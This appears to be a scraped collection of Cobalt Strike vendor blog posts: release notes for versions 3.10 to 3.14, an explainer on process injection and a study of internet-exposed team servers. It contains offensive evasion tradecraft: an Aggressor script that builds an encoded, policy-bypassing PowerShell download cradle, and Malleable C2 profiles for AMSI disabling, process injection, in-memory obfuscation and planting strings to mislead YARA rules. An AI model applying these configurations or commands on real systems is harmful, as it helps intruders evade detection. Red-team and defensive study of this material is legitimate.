Cobalt Strike 3.10 –Хакер vs. 肉雞

$
0
0

Cobalt Strike 3.10 is now available. This release adds Unicode support to the Beacon payload, introduces a built-in report based on MITRE’s ATT&CK matrix, and performs endodontics on the Beacon payload.

A Strategy for Unicode

One of Cobalt Strike’s limitations is its ham-fisted handling of text. Cobalt Strike treats everything sent to and received from Beacon as binary data. This creates headaches for Cobalt Strike users that come across non-ASCII characters in usernames, passwords, file names and other data.

Cobalt Strike 3.10 addresses this problem. Beacon now encodes text input and decodes text output with a character encoding appropriate to the target and situation.

The end result is on systems with a Chinese locale, Cobalt Strike will display Chinese output and accept Chinese input. On systems with a Japanese locale, Cobalt Strike will display Japanese output and accept Japanese input. The same goes for other languages.

Be aware that your font may not have definitions for the characters in your target’s language. If you see boxes where you expect characters, try changing your fonts:

Go to Cobalt Strike -> Preferences -> Cobalt Strike to edit the GUI Font value. This will change the font Cobalt Strike uses throughout its GUI, dialogs, and tables. This option is new in 3.10.

Cobalt Strike -> Preferences -> Console and Graph change the fonts used by Cobalt Strike’s console tabs and pivot graph.

Integration with MITRE’s ATT&CK Matrix

Cobalt Strike 3.10 integrates The MITRE Corporation’s ATT&CK Matrix into its reporting engine. ATT&CK is a project to describe adversary post-exploitation behaviors with their detection and mitigation strategies. Each behavior is assigned a Tactic ID.

Cobalt Strike 3.10 associates Beacon actions with one or more ATT&CK tactics. Scripts have the option to do this with the &btask function too.

Cobalt Strike uses this information to generate a Tactics, Techniques, and Procedures report. This report presents your Cobalt Strike activity on a tactic-by-tactic basis. Each tactic includes a description, mitigation, and detection narrative.

A Root Canal for the Beacon Payload

This release took many steps to remove functionality from the Beacon payload and restore that functionality with changes in the Beacon controller.

One such change removed the logic to spawn cmd.exe and powershell.exe from inside the Beacon payload. In their place is a more generic primitive to run programs and send output to Cobalt Strike. The updated shell and powershell commands use this primitive instead. The &beacon_execute_job function builds on this primitive too. Here’s a script that re-implements Beacon’s powershell command:

alias powershell {
	local('$args $cradle $runme $cmd');

	# $0 is the entire command with no parsing.
	$args   = substr($0, 11);

	# generate the download cradle (if one exists) for an imported PowerShell script
	$cradle = beacon_host_imported_script($1);

	# encode our download cradle AND cmdlet+args we want to run
	$runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

	# Build up our entire command line.
	$cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";

	# task Beacon to run all of this.
	btask($1, "Tasked beacon to run: $args", "T1086");
	beacon_execute_job($1, "powershell", $cmd, 1);
}

These changes remove a few unique strings from the Beacon payload. This is where the root canal analogy comes in. A root canal not only removes (signs of) infection, it replaces the infection with something benign. That’s here too!

Cobalt Strike 3.10 extends Malleable PE with options to add ASCIIZ and wide character strings to the Beacon payload. This example adds several havex specific strings to Beacon’s havex Malleable C2 profile:

stage {
	# strings gathered from Yara rules and sandbox string dumps
	stringw "%s <%s> (Type=%i, Access=%i, ID='%s')";
	stringw "%02i was terminated by ThreadManager(2)\n";
	stringw "main sort initialise ...\n";
	stringw "qsort [0x%x, 0x%x] done %d this %d\n";
	stringw "{0x%08x, 0x%08x}";
	stringw "Programm was started at %02i:%02i:%02i\n";
	stringw "a+";
	stringw "%02i:%02i:%02i.%04i:";
	stringw "**************************************************************************\n";

These changes recognize the fact that some analysts use tools driven by YARA rules to detect and identify payloads in an environment. These rules often target unique strings observed by the rule’s creator. Knowing these strings, red teams have an opportunity to deliver more interesting adversary simulations and exercise another aspect of their blue team’s detection and response capability.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.10. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

NOTE: An in-place update of Cobalt Strike with live sessions is never recommended. With Cobalt Strike 3.10, this is especially true. Cobalt Strike 3.10 cannot control sessions from previous versions of Cobalt Strike.

Beware of Slow Downloads

$
0
0

I often receive emails that ask about slow file downloads with the Beacon payload. Here are the symptoms:

  • It takes multiple hours to grab a few megabytes
  • The sleep time makes no difference
  • File uploads are fast and not affected by this “slowness”

When I get these emails, I usually ask the user about their Malleable C2 profile. Malleable C2 is a technology to change the network and memory indicators for Cobalt Strike’s Beacon payload. In some cases, it can alter the tool’s behavior too.

I sometimes get a reply that the operator is using a custom profile derived from one of the Malleable C2 profiles on my Github repository. Inevitably, I’ll learn that the base profile is a profile that uses HTTP GET requests to download tasks from AND send data back to Cobalt Strike’s team server.

Cobalt Strike’s Beacon payload downloads tasks from its team server via an HTTP GET (or POST) request. The payload limits itself to 1MB of encrypted data per request. This is enough to download most task packages in one request.

By default, Cobalt Strike’s Beacon payload sends data back to Cobalt Strike’s team server with an HTTP POST request. In this default, the Beacon payload embeds its encrypted data into the body of the POST request. Here, the limit is again, 1MB. If you’re downloading a file, Beacon will deliver it in 512KB pieces. This 1MB limit is enough to send a 512KB file piece and some output in one HTTP POST request.

The default is what most Cobalt Strike users are used to and it’s the behavior most Cobalt Strike users expect when they use the HTTP and HTTPS Beacon payloads.

Cobalt Strike 3.6 extended Malleable C2 to allow operators to change where, in the HTTP request, Beacon embeds data it sends back to the team server. The default is still to embed data into the body of an HTTP POST request. But, you also have the flexibility to embed Beacon’s data into the URI, an HTTP header, or a URI parameter. You can also change the HTTP verb associated with this request too. This is amazing flexibility to put into an operator’s hands.

The above flexibility has consequences though. I can stick 1MB of data into the body of an HTTP POST request, no problem. I can’t stick 1MB of data into a URI, an HTTP header, or a URI parameter. That won’t work. What does Cobalt Strike’s Beacon do in these situations? Beacon chunks its output.

The chunker will divide any data, destined for the team server, into ~100 byte chunks. Each piece is sent back to the team server in its own HTTP request. This is where the behavior change comes.

I can send a 512KB file piece in the body of one HTTP POST request. That same file piece requires over 5,240 HTTP requests when divided into 100 byte chunks. Beacon does not make these HTTP requests in parallel. Rather, it makes one request, and waits for the response. It then makes the second request and waits for its response. This happens until all needed HTTP requests are made. The latency associated with each request is the thing that affects your download speed.

If you’ve seen this behavior in your use of Cobalt Strike, I hope this blog post helps clarify why you’re seeing it.

Cobalt Strike 3.11 – The snake that eats its tail

$
0
0

Cobalt Strike 3.11 is now available. This release adds to Cobalt Strike’s in-memory threat emulation and evasion capabilities, adds a means to run .NET executable assemblies without touching disk, and implements the Token Duplication UAC bypass attack.

In-Memory Threat Emulation

One of the things that makes Cobalt Strike different is its ability to emulate multiple toolsets with one agent and one platform. Malleable C2 (2014) was the start of this. Malleable C2 focused on wire indicators because that’s what defenders could most easily observe. Today, wire indicators have their place, but defenders are just as likely to rip a DLL from memory to extract indicators and understand what they’re up against.

Cobalt Strike 3.7 introduced Malleable PE to give Beacon indicator flexibility in-memory. Cobalt Strike 3.11 takes this further.

1. Malleable C2 profiles now have the ability to specify the checksum, entry point, exported DLL name, and rich_header of the Beacon DLL.

2. This release also adds a peclone utility to Cobalt Strike’s Linux package. The peclone utility parses a DLL and reports a ready-to-use Malleable C2 stage block. This allows red teams to quickly extract and apply indicators from a malicious executable or DLL to Cobalt Strike’s Beacon.

3. The stomppe option controls whether or not Beacon’s loader stomps the MZ, PE, and e_lfanew values after loading. This option controls a common in-memory evasion tactic. Set this option to false and Beacon becomes a more obvious in-memory target.

4. Of course, flexible indicators have little utility without ground truth to give to the blue team. The Indicators of Compromise report in Cobalt Strike 3.11 now includes more information about the profiles used during the engagement. Each profile is presented as a unique “malware sample” with a summary of PE headers, contacted hosts, an HTTP traffic sample, and interesting strings.

Here’s the IOCs report with the HaveX Malleable C2 profile loaded:

In-Memory Evasions

February 2018’s In-memory Evasion course discusses heuristics to find injected DLLs in memory, explains why these heuristics work, and offers strategies to push back on these defenses. Cobalt Strike 3.11 adds more options to challenge and train defenders that use memory hunting techniques.

Less DLL, Please

One way to avoid detection as a memory injected DLL is to not look like an injected DLL at all (go figure). Cobalt Strike’s existing Malleable PE obfuscate option provides some help here. It masks Beacon’s import table and other fields in Beacon’s DLL. Cobalt Strike 3.11 takes this to the next level. Now, when obfuscate is set to true, Beacon’s Reflective Loader will situate Beacon in its new memory without bringing over any of its DLL headers.

Of course, the above raises a problem. It’s nice that the final Beacon DLL is better disguised. What about the memory that contains Beacon and its self-bootstrapping Reflective Loader? That package still has the MZ, PE, and e_lfanew values.

Set the cleanup option to true. This hint asks Beacon to release the memory associated with its loader. When this operation succeeds, your Beacon will live in-memory without the package that put it there.

Together, obfuscate and cleanup allow Beacon to live in-memory without content that screams memory-injected DLL.

Module Stomping

The above does raise another problem. What about the permissions of that memory? We still have pages with execute permissions that are not tied to a loaded module. These permissions exist in legitimate applications, but these properties are a warm flame that attracts the hunters from their cyber blinds.

Cobalt Strike 3.11 also adds module stomping to Beacon’s Reflective Loader. When enabled, Beacon’s loader will shun VirtualAlloc and instead load a DLL into the current process and overwrite its memory.

Set module_x86 to a favorite x86 DLL to module stomp with the x86 Beacon. The module_x64 option enables this for the x64 Beacon.

While this is a powerful feature, caveats apply! If the library you load is not large enough to host Beacon, you will crash Beacon’s process. If the current process loads the same library later (for whatever reason), you will crash Beacon’s process. Choose carefully.

In-memory .NET Assembly Execution

In Modern Defenses and YOU!, I advised that operators who depend on PowerShell should brush up on working without it. I also advised that payload developers, myself included, would do well to embrace the use of .NET assemblies in their platforms.

Cobalt Strike 3.11’s execute-assembly command makes good on this. This command accepts a path to a local executable assembly and runs it on the target in a temporary process. This temporary process benefits from all of your session prepping steps (e.g., ppid, spawnto, etc.). You may pass arbitrary arguments, quoted or not, to this program as if you ran it from a command shell. Scripters may build on execute-assembly with &bexecute_assembly.

This video demonstrates the Internal Monologue attack with help from execute-assembly:

Token Duplication UAC Bypass

But wait, there’s more! Cobalt Strike 3.11 adds a module that implements the Token Duplication UAC Bypass discovered by James Forshaw and originally weaponized by Ruben Boonen.

This UAC loophole allows a non-elevated process to use a token, stolen from an elevated process, to launch an elevated process of the attacker’s choosing. This loophole requires the attacker to remove several rights assigned to the elevated token. The abilities of your new session will reflect these restricted rights (e.g., you can’t interact with processes outside of your current desktop session).

This attack can bypass Always Notify. This requires that an elevated process is already running in the current desktop (as the same user). This attack also works on Windows 7 and later.

Use elevate uac-token-duplication [listener] to bypass UAC and get a session. This module does run a PowerShell one-liner to run a payload stager. Optionally, use runasadmin [command] [arguments] to bypass UAC and run an arbitrary command in an elevated context. The runasadmin command does not use PowerShell.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.11. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

PowerShell Shellcode Injection on Win 10 (v1803)

$
0
0

Cobalt Strike’s process to inject shellcode, via PowerShell, does not work with the latest Windows 10 update (v1803). While it’s possible to work without this capability, a lot of CS automation uses PowerShell.

I’ve pushed an out-of-band update to Cobalt Strike 3.11 with a fix for this issue.

What happened?

The PowerShell shellcode injection scripts in Cobalt Strike use PowerShell internal methods that map directly to GetProcAddress and GetModuleHandle. The latest PowerShell build (included with the latest Windows 10) includes a second GetProcAddress mapping. This made my ask for GetProcAddress ambiguous. The fix? Refresh the PowerShell scripts to ask for a GetProcAddress binding with a specific signature.

Get the latest…

Use the built-in update program to get the latest. This out-of-band update includes a few other fixes and improvements as well. Check out the release notes for the full list.

Cobalt Strike 3.12 – Blink and you’ll miss it

$
0
0

Cobalt Strike 3.12 is now available. This release adds an “obfuscate and sleep” in-memory evasion feature, gives operators [some] control over process injection, and introduces hooks to shape how Beacon launches PowerShell.

Obfuscate and Sleep

One method to find adversary presence in an environment is to sweep all running processes for common strings that indicate offense activity. For example, a hunt for the ReflectiveLoader string will find memory-resident Reflective DLLs that don’t change the name of this exported function. Point-in-time analysis of memory is a powerful tool in the defender’s arsenal of capabilities.

To push back, Cobalt Strike 3.12 introduces obfuscate-and-sleep. This feature is exactly what it sounds like: Beacon is (mostly) a single-threaded beaconing agent. It requests tasks, executes those tasks, and it goes to sleep. Beacon spends most of its time sleeping. When obfuscate-and-sleep is enabled, Beacon will obfuscate itself, in memory, before it goes to sleep. When the agent wakes up, it will restore itself to its original state.

To enable obfuscate-and-sleep, set the stage -> sleep_mask option to true in your Malleable C2 profile.

stage {
	set sleep_mask "true";
}

This feature plays well with Cobalt Strike’s other in-memory evasion/threat emulation features. I recommend the use of Cobalt Strike 3.11’s cleanup option when sleep_mask is enabled.

Re: the SMB Beacon

The obfuscate-and-sleep feature benefits the HTTP, HTTPS, and DNS Beacon. The SMB Beacon doesn’t sleep in the way these agents do. This means the SMB Beacon will not obfuscate itself (it has no opportunity to do so). A future Cobalt Strike update may find a way to sneak this feature into the SMB Beacon too.

Malleable Process Injection

Process Injection is an important offense technique, used heavily throughout Cobalt Strike. This release gives operators control over how Beacon does process injection. This is done via the Malleable C2 process-inject block:

process-inject {
	# do not allocate anything less than this
	set min_alloc "16384";

	# permissions RWX, RX
	set startrwx "true";
	set userwx   "false";

	# fudge the content.
	transform_x86 {
		prepend "\x90\x90\x90";
	}

	transform_x64 {
		# ...
	}

	# we do not want to use this call.
	disable "CreateRemoteThread";
	disable "SetThreadContext";
}

These options shape both the injected content and Beacon’s process injection behavior:

The min_alloc option specifies the minimum amount of memory Beacon will allocate in a remote process. The startrwx and userwx options give control over the initial and final permissions of the memory allocated in a remote process.

The transform-x86 and transform-x64 blocks pad any injected DLLs or shellcode. If you choose to prepend data, make sure it’s valid code for the specific architecture. There’s no check for this.

Finally, the disable verb asks Beacon to avoid certain API calls when doing its standard process injection routine. Right now, you can disable CreateRemoteThread, RtlCreateUserThread, or SetThreadContext.

More Power(Shell) to You!

Cobalt Strike uses PowerShell in a lot of its automation. The powershell command allows operators to execute arbitrary cmdlets. psexec_psh bootstraps a session on a remote target with a PowerShell one-liner. The spawnas command uses PowerShell to run a new session as another user.

While it’s possible to operate without PowerShell, sometimes a few adjustments are all that’s needed to safely use PowerShell in an environment. Cobalt Strike 3.12 introduces options to shape the PowerShell command-line and download cradle used in Beacon’s automation.

These options are in Cobalt Strike 3.12’s Resource Kit. Go to Help -> Arsenal to download it.

Notice: Certificate Change Over

The update infrastructure for Cobalt Strike is due for an HTTPS certificate change-over next week. After this change, the update program built into Cobalt Strike 3.11 and earlier will complain about the certificate change (and not download updates). Cobalt Strike 3.12’s updater is aware of the new certificate.

To continue to get updates, without interruption, download the latest Cobalt Strike Trial package with the updated updater. Your license key allows you to skip the trial request process. This action is recommended for all licensed Cobalt Strike users.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.12. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Cobalt Strike 3.13 – Why do we argue?

$
0
0

Cobalt Strike 3.13 is now available. This release adds a TCP Beacon, process argument spoofing, and extends the Obfuscate and Sleep capability to the SMB and TCP Beacons.

TCP Beacon

Cobalt Strike has long had the ability to pivot over named pipes. Cobalt Strike 3.13 expands this peer-to-peer pivoting model with the TCP Beacon. Now, you can use the bind TCP Beacon as a target for privilege escalation and lateral movement. Like the SMB Beacon, you may disconnect from the TCP Beacon and reconnect to it from another Beacon (in the same Cobalt Strike instance) later.

Pivot Listeners in Cobalt Strike 3.13 are now stageless Reverse TCP Beacon listeners. You may bind a pivot listener from a Beacon session and export a stageless TCP Beacon artifact that connects to it.

Cobalt Strike’s SSH sessions have the ability to control TCP Beacon sessions too! Yes, you can now SSH into a pivot host and use it to resume control of a Beacon mesh.

Pivot Listeners for the Reverse TCP Beacon work from SSH sessions too, but with one caveat: the SSH daemon often restricts reverse port forwards to localhost only. You can change this with the GatewayPorts option in your SSH configuration. For those of you who use dropbear as a *NIX RAT (*cough*I know you’re out there*cough*), this is a nice added pivoting option.

Process Argument Spoofing

One of 2018’s must-watch talks for red teamers is Red Teaming in the EDR Age by Will Burgess. This talk discusses a few techniques for EDR evasion, to include: spoofing parent processes, process argument spoofing, and hiding in-memory. After Will’s talk, I opted to take a look at how to add process argument spoofing as a session prepping option in Cobalt Strike. Here’s what I came up with:

Beacon’s argue command allows you to add a command and a set of fake arguments to an internal list. When Beacon launches one of these commands [an exact match is required], it will launch it with fake arguments in a suspended state. Beacon then updates the process memory with the real arguments and resumes its execution. Tools that subscribe to new process creation events will see the old arguments. The child process will execute with the spoofed arguments. This technique is a way to push back on detections that look for malicious process arguments.

As usual, this isn’t the 100% works everywhere silver bullet for red teaming. This technique relies on reading and writing to memory in a remote process. That’s an indicator of badness.

This technique, as I’ve implemented, works x86 -> x86 and x64 -> x64. Also, this technique requires that the fake arguments are as long as or longer than the real arguments. And, finally, programs that determine process arguments by reading the process PEB will see your real arguments and not our fake arguments.

Still, this technique is another way to mask your activity when you absolutely need to run a process on target to get something done.

In-memory Obfuscation, Continued

I’ve long thought it would be cool to have a payload that could obfuscate itself in memory. This is a great way to push back on point-in-time analysis that look for static strings. Cobalt Strike 3.12 introduced this for the HTTP/HTTPS and DNS Beacon payload.

Cobalt Strike 3.13 extends this feature to the SMB and TCP Beacons too. Now, these Beacons will obfuscate themselves while they wait for a new connection. They will also obfuscate themselves while they wait to read information from their parent Beacon. In effect, these Beacons will spend a lot of time obfuscated.

To enable this behavior, set stage -> sleep_mask option to true in your Malleable C2 profile. For the cleanest in-memory experience, I recommend setting stage -> cleanup to true, and working primarily with stageless payloads.

Token Magic

The execute-assembly, net, portscan, and powerpick commands now use your current token. This release also updates the make_token command. It now stores your provided credentials within Beacon. Beacon will fall back to CreateProcessWithLogonW, using these credentials, when it does not have privileges to run the new process with your newly created token. This makes make_token largely usable from an unprivileged context.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.13. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.


Cobalt Strike Team Server Population Study

$
0
0

From February 4, 2019 to February 15, 2019 Strategic Cyber LLC connected to several live Cobalt Strike team servers to download Beacon payloads, analyze them, and study the information within these payloads.

We conducted the survey from a system that exists separate of this company’s logs and records. The survey results were available on the same system. We did not use our logs or records to seed this survey.

We granted access to our survey system and results to a few parties we trusted. We did this to seek feedback on the data, process, and ideas for appropriate use. We also invited these parties to submit team servers for analysis as well. Unfortunately, one of those parties posted many domains from this system’s results to Twitter without our approval or knowledge. Some of these domains included red team infrastructure used by customers. While anyone could conduct the same survey, it was our system’s results that were used.

One of the top priorities at Strategic Cyber LLC is to not disclose or impact the red team operations or penetration tests of our customers. We see this aggregate and unapproved disclosure of domains, from our survey system, as undermining that goal.

The rest of this post details the survey process, what it extracted, and how to make your team server less visible to these types of analysis.

Why did we do this survey?

We conducted this survey as part of our continuous efforts to evaluate and improve our product controls.

How was the survey done?

We used techniques well-known in the blue community to identify Cobalt Strike team servers. We then connected to those servers to request a Beacon payload stage and analyzed its configuration and PE characteristics. We did not circumvent any technological measures to perform the survey.

What information does this analysis yield?

A lot of configuration information (necessary for the Beacon payload to function) is embedded in the Beacon payload DLL. Our analysis extracted hosts, URIs, User-Agents, and other behavior related configuration information. Our analysis also sought to identify: trial vs. licensed, authorization ID, version, and whether or not the product was altered in certain ways.

How did you find these team servers?

Here are the common techniques to identify Cobalt Strike team servers on the internet:

1) The Cobalt Strike product ships with a default SSL certificate for HTTPS communication. This self-signed certificate has no place in a live operation, but it’s still used in many Cobalt Strike deployments. One technique to find Cobalt Strike Beacon controllers is to search for the SHA-256 hash of Cobalt Strike’s default certificates:

2) Cobalt Strike’s DNS server (when it’s enabled) will respond to any request it receives with the bogon IP 0.0.0.0. A search for DNS servers that respond to an arbitrary DNS request with this answer will find Cobalt Strike systems. It will also find non-Cobalt Strike systems as well. It’s a noisy indicator.

3) Search for systems with port 50050 open. This is the controller for Cobalt Strike’s team server.

4) Another technique is to look for 404 Not Found root page with empty content and a text/plain Content-Type. This is the default response of Cobalt Strike without a redirector or content explicitly hosted at /.

How was the payload stage requested?

As part of its feature set and workflows, Cobalt Strike hosts the Beacon payload stage on its built-in web server. Cobalt Strike is compatible with the Metasploit Framework’s staging protocol. Any HTTP request that has the proper checksum8 value will yield a Beacon payload. Our system makes a request for a payload in the same way a Metasploit Framework stager would.

Protecting your team server

The process we used for our survey is nothing new or unknown. If you’d like to reduce the visibility of your team server to these mass analysis studies, here are a few tips:

1) Do not use the default HTTPS certificate within Cobalt Strike. If your goal is to emulate a low-tier actor with a self-signed certificate—use the https-certificate Malleable C2 block to generate a self-signed certificate that supports your exercise narrative. If you have a live operation, use a valid SSL certificate with your HTTPS Beacon.

2) The 0.0.0.0 is a well-known indicator of the DNS beaconing feature in Cobalt Strike. Use the dns_idle Malleable C2 option to change this to something else.

3) Edit the last line of the teamserver script to change the port from 50050 to something else. This is a very minimal measure. A better solution is to limit who can connect to this port with a host-based firewall.

4) If Cobalt Strike is hosting a Beacon payload stage, it will send payload stages in response to a valid request. This remains true, even if you configure the http-stager block in Cobalt Strike. The http-stager block reconfigures staging indicators within Cobalt Strike. It does not disable the compatibility with the Metasploit Framework. If you do not want Cobalt Strike to host a payload stage, set the host_stage Malleable C2 option to false. This option will require some changes to how you operate.

5) Use an Apache or Nginx web server as a redirector for your Cobalt Strike team server. Limit 80/443 connections to your team server to these redirectors. A properly configured redirector will smooth out indicators specific to Cobalt Strike’s web server (e.g., the JA3S fingerprint for SSL connections). A redirector is also an opportunity to serve legitimate content in response to non-staging and non-command and control URIs. The Red Team Infrastructure Wiki has advice on this topic.

Cobalt Strike 3.14 – Post-Ex Omakase Shimasu

$
0
0

Cobalt Strike 3.14 is now available. This release benefits the OPSEC of Beacon’s post-exploitation jobs. To take a screenshot, log keystrokes, dump credentials, or scan for targets: Beacon often spawns a temporary process, injects the capability into it, and receives results over a pipe. While Cobalt Strike has a lot of flexibility around launching temporary processes, it has had too few options for the actions that come next. This release changes that.

Malleable Process Injection, pt. 2

It makes sense to start this discussion with process injection. This is a key part of Beacon’s post-exploitation attack chain. The process injection code-path in Beacon is some of the oldest code in the payload and it was originally designed to “just work” in the myriad of corner cases this offense technique requires. These corner cases are not trivial. x86 -> x86, x86 -> x64, x64 -> x86, and x64 -> x64 in both suspended and not suspended processes are cases that a process-injection implementation needs to account for. The above becomes more complicated as some options fail across desktop session boundaries and others are riskier on older Windows XP-era systems. You can say “I don’t care about Windows XP”, and to some extent I don’t either, but Cobalt Strike’s Beacon circa 2012 had to cope with this.

Cobalt Strike 3.12 made some progress on process injection flexibility. This release picks up where 3.12 left off. Here’s what it looks like:

process-inject {
	# set remote memory allocation technique
	set allocator "NtMapViewOfSection";

	# shape the content and properties of what we will inject
	set min_alloc "16384";
	set userwx    "false";

	transform-x86 {
		prepend "\x90";
	}

	transform-x64 {
		prepend "\x90";
	}

	# specify how we execute code in the remote process
	execute {
		CreateThread "ntdll!RtlUserThreadStart";
		CreateThread;
		NtQueueApcThread-s;
		CreateRemoteThread;
		RtlCreateUserThread;
	}
}

Remote Memory Allocation

The process-inject -> allocator Malleable C2 option presents two paths to allocate memory within and copy data to a remote process.

The default VirtualAllocEx uses the venerable VirtualAllocEx -> WriteProcessMemory combination. The NtMapViewOfSection option has Beacon create a file mapping in the current process, copy the code to this local section, and map it into the remote process with NtMapViewOfSection. This option is limited to same-architecture target process (VirtualAllocEx is always the fallback).

Code Execution

3.14 also offers control over which techniques Beacon uses to execute code in a remote process and in which order it attempts them. This is done with the process-inject -> execute block. When executing code in a remote process: Beacon examines each option in the execute block, determines if the option is fair game for the current context, tries it if it’s relevant, and stops this process if code execution was successful.

Cobalt Strike’s options include:

  • CreateThread
  • CreateThread “module!Function+0x##”
  • CreateRemoteThread
  • CreateRemoteThread “module!Function+0x##”
  • NtQueueApcThread
  • NtQueueApcThread-s
  • RtlCreateUserThread
  • SetThreadContext

The CreateThread option is specific to self-injection.

The SetThreadContext and NtQueueApcThread-s options are specific to the temporary processes Beacon launches for its post-exploitation jobs. These functions take over the main thread of the suspended process and use it to execute the injected post-exploitation capability. The NtQueueApcThread-s option is Cobalt Strike’s implementation of the so-called Early Bird technique.

NtQueueApcThread, RtlCreateUserThread, and CreateRemoteThread are standard-issue options to inject code into a remote process. The RtlCreateUserThread option has an implementation variant for x86 -> x64 injection. CreateRemoteThread and RtlCreateUserThread both handle x64 -> x86 injection. All other options cover x86 -> x86 and x64 -> x64 injection.

CreateThread and CreateRemoteThread have variants that spawn a thread with the address fo another function, update the suspended thread to execute our code, and then resume the thread. This is useful to duck past techniques like Get-InjectedThread. Use [function] “module!function+0x##” to specify the start address to spoof. For remote processes, ntdll and kernel32 are the only recommended modules to pull from. The optional 0x## part is an offset added to the start address.

With the execute block, you may arrange these functions in an order of preference you’d like to use in your operations. It’s OK to omit or include options to tailor Beacon’s behavior to the adversary capability you’d like to emulate.

Revised Post-exploitation DLLs

Cobalt Strike 3.14 adds a post-ex block to Malleable C2. This block collects options to tweak the content and behavior of the post-exploitation jobs in Cobalt Strike.

post-ex {
	# control the temporary process we spawn to
	set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
	set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";

	# change the permissions and content of our post-ex DLLs
	set obfuscate "true";

	# pass key function pointers from Beacon to its child jobs
	set smartinject "true";

	# disable AMSI in powerpick, execute-assembly, and psinject
	set amsi_disable "true";
}

Existing options such as spawnto_x86, spawnto_x64, and amsi_disable were moved to the post-ex block.

The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block.

The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory reads of the export address table in kernel32 and friends.

Blocking Vendor DLLs

Process injection does not exist in Windows solely to enable offense software. Some security products inject DLLs into user processes too. They do this to get deeper visibility into and veto power over the activities of the process. This is accomplished by hooking functions associated with common offense techniques.

Related: Google found that Chrome users were 15% more likely to experience a crash when injected code is present in the Chrome process space. Google decided to push back and block these DLLs from the Chrome process space. As an offense engineer, I thought it would benefit my processes if I could ALSO block these unwanted third-party DLLs from my processes. It turns out… this is possible.

Use blockdlls start and Cobalt Strike will launch child processes in a way that denies third-party DLLs access to the same process space. This is accomplished by running the process with a binary security policy attribute that restricts DLL loads to Microsoft-signed DLLs only. This is an option present in Windows 10 since late-2017.

Revised Process and File Browser Tabs

The 3.14 process browser now organizes the process information into a tree. Highlight a process in the tree and it will immediately highlight in the right-side detailed view of the processes. Your current process also shows in yellow. This is a lot easier than trying to follow a flat ps output and figure out which process is the parent of which process:

The 3.14 file browser is now (slightly) friendlier to Beacon’s asynchronous communication style. Each file browser now caches the folder/file listings it has seen. A tree on the left-hand side of the file browser shows which known folders are in the cache and which are not. Colored folders are in the cache. Grey folders are not. Click on an uncached folder in the tree and the file browser will ask Beacon to list that folder on its next check-in. In this way, you can revisit folders you’ve already seen, request multiple folders, and queue up multiple actions (e.g., download, execute, delete) in between Beacon checkins.

These changes should make post-exploitation a little more fun.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.14. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Cobalt Strike’s Process Injection: The Details

$
0
0

Cobalt Strike 3.14 finally delivered some of the process injection flexibility I’ve long wanted to see in the product. In this post, I’d like to write about my thoughts on process injection, and share a few details on how Cobalt Strike’s implementation(s) work. Along the way, I will share details about which methods you might want to use in your red team exercises.

Where does Cobalt Strike process inject?

Cobalt Strike does process injection in a few places. Some of its artifacts spawn and migrate to a new process. While these are an important part of the attack chain, they’re under your control via the Artifact Kit, Applet Kit, and Resource Kit. This post focuses on the process injection in Cobalt Strike’s Beacon payload.

The inject and shinject commands inject code into an arbitrary remote process. Some of the tool’s built-in post-exploitation jobs can target specific remote processes too. Cobalt Strike does this because it’s safer to inject a capability into a context that has the data you want vs. migrating a payload and C2 to that context.

Many of Cobalt Strike’s post-exploitation features spawn a temporary process, inject the feature’s DLL into the process, and retrieve the results over a named pipe. This is a special case of process injection. In these cases, we control the temporary process. We know the process has no purpose beyond our offense action. This allows us to do more aggressive things. For example, we can take over the main thread of these temporary processes and not worry about giving it back. This is an important detail to keep in mind when configuring process injection in Cobalt Strike.

The Process Injection Cycle

The process-inject block in a Malleable C2 profile is where you configure process injection in Cobalt Strike:

process-inject {
	# set remote memory allocation technique
	set allocator "NtMapViewOfSection";

	# shape the content and properties of what we will inject
	set min_alloc "16384";
	set userwx    "false";

	transform-x86 {
		prepend "\x90";
	}

	transform-x64 {
		prepend "\x90";
	}

	# specify how we execute code in the remote process
	execute {
		CreateThread "ntdll!RtlUserThreadStart";
		CreateThread;
		NtQueueApcThread-s;
		CreateRemoteThread;
		RtlCreateUserThread;
	}
}

This block is organized around the lifecycle of the process injection process. Here are the steps:

1. Open a handle to the remote process
2. Allocate memory in the remote process
3. Copy the injected data to the remote process
4. Ask the remote process to execute our injected code

Allocate and Copy Data to a Remote Process

Step 1 is kind of implicit. If we spawn a temporary process (e.g., for a post-exploitation job); we already have a handle to do things to the remote process. If we want to inject code into an existing remote process (naughty, naughty), Cobalt Strike will use OpenProcess to do this.

Steps 2 and 3:

Cobalt Strike offers two options to allocate memory in a remote process and copy data to it.

The first option is the classic VirtualAllocEx -> WriteProcessMemory pattern. This is a common pattern in offense tools. This option also works across different process architectures. This matters. Process injection is not limited to an x64 process context injecting into an x64 target process. A good implementation needs to account for the different corner cases that come up (e.g., x86 -> x64, x64 -> x86, etc.). This requirement makes VirtualAllocEx a safe choice. It’s also the default Cobalt Strike uses. If you want to explicitly specify this pattern: set the process-inject -> allocator option to VirtualAllocEx.

